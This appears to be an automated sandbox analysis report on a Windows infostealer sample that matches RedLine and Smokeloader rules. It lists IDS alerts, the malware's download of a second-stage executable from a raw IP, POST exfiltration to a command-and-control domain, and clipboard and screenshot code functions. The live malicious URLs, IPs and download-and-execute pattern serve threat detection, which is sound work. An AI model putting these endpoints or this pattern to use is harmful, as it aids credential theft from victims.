Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49703 -> 176.113.115.19:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:58183 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:58184 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:58185 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:58186 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:58187 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49702 -> 104.21.56.70:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: skidjazzyric.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 74Host: skidjazzyric.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3CBXPDPIZ28LVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12809Host: skidjazzyric.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7LAB8YY8CY2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15029Host: skidjazzyric.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CSTXJ29IHHX4YG7VSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20390Host: skidjazzyric.click

Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19

Source: C:\Users\user\Desktop\chu4rWexSX.exe

Code function: 0_2_0040273E InternetOpenW,InternetOpenUrlW,GetTempPathW,GetTempFileNameW,CreateFileW,InternetReadFile,WriteFile,CloseHandle,CloseHandle,ShellExecuteExW,WaitForSingleObject,CloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_0040273E

Source: global traffic	HTTP traffic detected: GET /track_prt.php?sub=0&cc=DE HTTP/1.1User-Agent: ShareScreenHost: post-to-me.com
Source: global traffic	HTTP traffic detected: GET /ScreenUpdateSync.exe HTTP/1.1User-Agent: ShareScreenHost: 176.113.115.19

Source: global traffic	DNS traffic detected: DNS query: post-to-me.com
Source: global traffic	DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: skidjazzyric.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: skidjazzyric.click

Source: chu4rWexSX.exe, chu4rWexSX.exe, 00000000.00000002.3929242522.000000000086D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.19/ScreenUpdateSync.exe
Source: chu4rWexSX.exe, 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://176.113.115.19/ScreenUpdateSync.exe5rjtejk5rytrrSOFTWARE
Source: chu4rWexSX.exe, 00000000.00000002.3929242522.000000000086D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.19/ScreenUpdateSync.exed
Source: chu4rWexSX.exe, 00000000.00000002.3929242522.000000000086D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.19/ScreenUpdateSync.exep
Source: 92F8.tmp.exe, 00000003.00000003.2877003682.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 92F8.tmp.exe, 00000003.00000003.2877003682.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 92F8.tmp.exe, 00000003.00000003.2850712370.00000000010A6000.00000004.00000020.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000002.3111992330.00000000010A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro0
Source: 92F8.tmp.exe, 00000003.00000003.2877003682.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 92F8.tmp.exe, 00000003.00000003.2877003682.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 92F8.tmp.exe, 00000003.00000003.2877003682.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 92F8.tmp.exe, 00000003.00000003.2877003682.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 92F8.tmp.exe, 00000003.00000003.2877003682.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 92F8.tmp.exe, 00000003.00000003.2877003682.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 92F8.tmp.exe, 00000003.00000003.2877003682.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.10.dr	String found in binary or memory: http://upx.sf.net
Source: 92F8.tmp.exe, 00000003.00000003.2877003682.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 92F8.tmp.exe, 00000003.00000003.2877003682.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chu4rWexSX.exe, 00000000.00000002.3929242522.0000000000844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/
Source: chu4rWexSX.exe, 00000000.00000002.3929242522.0000000000844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/mt
Source: chu4rWexSX.exe	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=
Source: chu4rWexSX.exe, 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=&cc=DE
Source: chu4rWexSX.exe, 00000000.00000002.3929242522.0000000000844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=0&cc=DE
Source: 92F8.tmp.exe, 00000003.00000002.3111992330.000000000108B000.00000004.00000020.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2850712370.00000000010A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click/
Source: 92F8.tmp.exe, 00000003.00000003.2850712370.00000000010A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click/Z
Source: 92F8.tmp.exe, 00000003.00000002.3111992330.000000000110C000.00000004.00000020.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2862996252.00000000039EE000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2850712370.00000000010A6000.00000004.00000020.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2850712370.000000000107C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click/api
Source: 92F8.tmp.exe, 00000003.00000003.2899615273.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2899421952.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click/api.db
Source: 92F8.tmp.exe, 00000003.00000002.3111992330.000000000110C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click/api/wq
Source: 92F8.tmp.exe, 00000003.00000003.2850712370.0000000001072000.00000004.00000020.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000002.3111992330.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click:443/api
Source: 92F8.tmp.exe, 00000003.00000003.2850712370.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click:443/api;
Source: 92F8.tmp.exe, 00000003.00000002.3111992330.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click:443/apil
Source: 92F8.tmp.exe, 00000003.00000003.2887452062.0000000003D09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 92F8.tmp.exe, 00000003.00000003.2887452062.0000000003D09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 92F8.tmp.exe, 00000003.00000003.2851939844.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, 92F8.tmp.exe, 00000003.00000003.2851838633.0000000003A2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 92F8.tmp.exe, 00000003.00000003.2887452062.0000000003D09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: 92F8.tmp.exe, 00000003.00000003.2887452062.0000000003D09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: 92F8.tmp.exe, 00000003.00000003.2887452062.0000000003D09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: 92F8.tmp.exe, 00000003.00000003.2887452062.0000000003D09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 92F8.tmp.exe, 00000003.00000003.2887452062.0000000003D09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 58186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58187
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58183
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: unknown	HTTPS traffic detected: 104.21.56.70:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.7:58183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.7:58184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.7:58185 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.7:58186 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.7:58187 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Code function: 3_2_00D87A60 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00D87A60

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Code function: 3_2_00D87A60 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00D87A60

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Code function: 3_2_00D87C10 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_00D87C10

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.3929053083.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_007420AB NtdllDefWindowProc_W,GetClientRect,GetDC,CreateSolidBrush,CreatePen,Rectangle,GetDeviceCaps,MulDiv,CreateFontW,SetBkMode,_wcslen,_wcslen,_wcslen,_wcslen,ReleaseDC,		0_2_007420AB
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0074234F NtdllDefWindowProc_W,PostQuitMessage,		0_2_0074234F

Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00434089	0_2_00434089
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0042A19E	0_2_0042A19E
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00424260	0_2_00424260
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0041334F	0_2_0041334F
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0042430D	0_2_0042430D
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0043A328	0_2_0043A328
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_004103C5	0_2_004103C5
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0042467F	0_2_0042467F
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0041574F	0_2_0041574F
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0042B790	0_2_0042B790
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0040B882	0_2_0040B882
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0043396F	0_2_0043396F
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00424929	0_2_00424929
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00424BF0	0_2_00424BF0
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00410BAB	0_2_00410BAB
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00424EAB	0_2_00424EAB
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00765112	0_2_00765112
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0076A405	0_2_0076A405
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_007644C7	0_2_007644C7
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00764574	0_2_00764574
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_007535B6	0_2_007535B6
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0075062C	0_2_0075062C
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_007648E6	0_2_007648E6
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0076B9F7	0_2_0076B9F7
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_007559B6	0_2_007559B6
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0074BAE9	0_2_0074BAE9
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00773BD6	0_2_00773BD6
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00764B90	0_2_00764B90
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_0076B9F7	0_2_0076B9F7
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00764E57	0_2_00764E57
Source: C:\Users\user\Desktop\chu4rWexSX.exe	Code function: 0_2_00750E12	0_2_00750E12
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D8D0D0	3_2_00D8D0D0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D5D172	3_2_00D5D172
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D58A60	3_2_00D58A60
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D68BA2	3_2_00D68BA2
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D72370	3_2_00D72370
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D71B30	3_2_00D71B30
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D680F0	3_2_00D680F0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D938E0	3_2_00D938E0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D77885	3_2_00D77885
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D6D8B0	3_2_00D6D8B0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D87850	3_2_00D87850
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D6906A	3_2_00D6906A
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D76010	3_2_00D76010
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D7F1C1	3_2_00D7F1C1
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D739EB	3_2_00D739EB
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D8099F	3_2_00D8099F
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D71180	3_2_00D71180
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D6618C	3_2_00D6618C
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D6D1B0	3_2_00D6D1B0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D7E9B0	3_2_00D7E9B0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D6F9A0	3_2_00D6F9A0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D56950	3_2_00D56950
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D94950	3_2_00D94950
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D5E16E	3_2_00D5E16E
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D79917	3_2_00D79917
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D53910	3_2_00D53910
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D8210B	3_2_00D8210B
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D56120	3_2_00D56120
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D5B92C	3_2_00D5B92C
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D5F2D0	3_2_00D5F2D0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D542C0	3_2_00D542C0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D802CD	3_2_00D802CD
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D93AC0	3_2_00D93AC0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D942E0	3_2_00D942E0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D5B280	3_2_00D5B280
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D852B0	3_2_00D852B0
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D6BA52	3_2_00D6BA52
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D8025E	3_2_00D8025E
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D93A30	3_2_00D93A30
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D67222	3_2_00D67222
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D7BA20	3_2_00D7BA20
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D61BDE	3_2_00D61BDE
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D623EC	3_2_00D623EC
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D52B40	3_2_00D52B40
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D59B70	3_2_00D59B70
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D7FB7D	3_2_00D7FB7D
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D79B7B	3_2_00D79B7B
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D93B60	3_2_00D93B60
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D78B10	3_2_00D78B10
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D55B00	3_2_00D55B00
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D90B00	3_2_00D90B00
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D69B30	3_2_00D69B30
Source: C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	Code function: 3_2_00D564C0	3_2_00D564C0
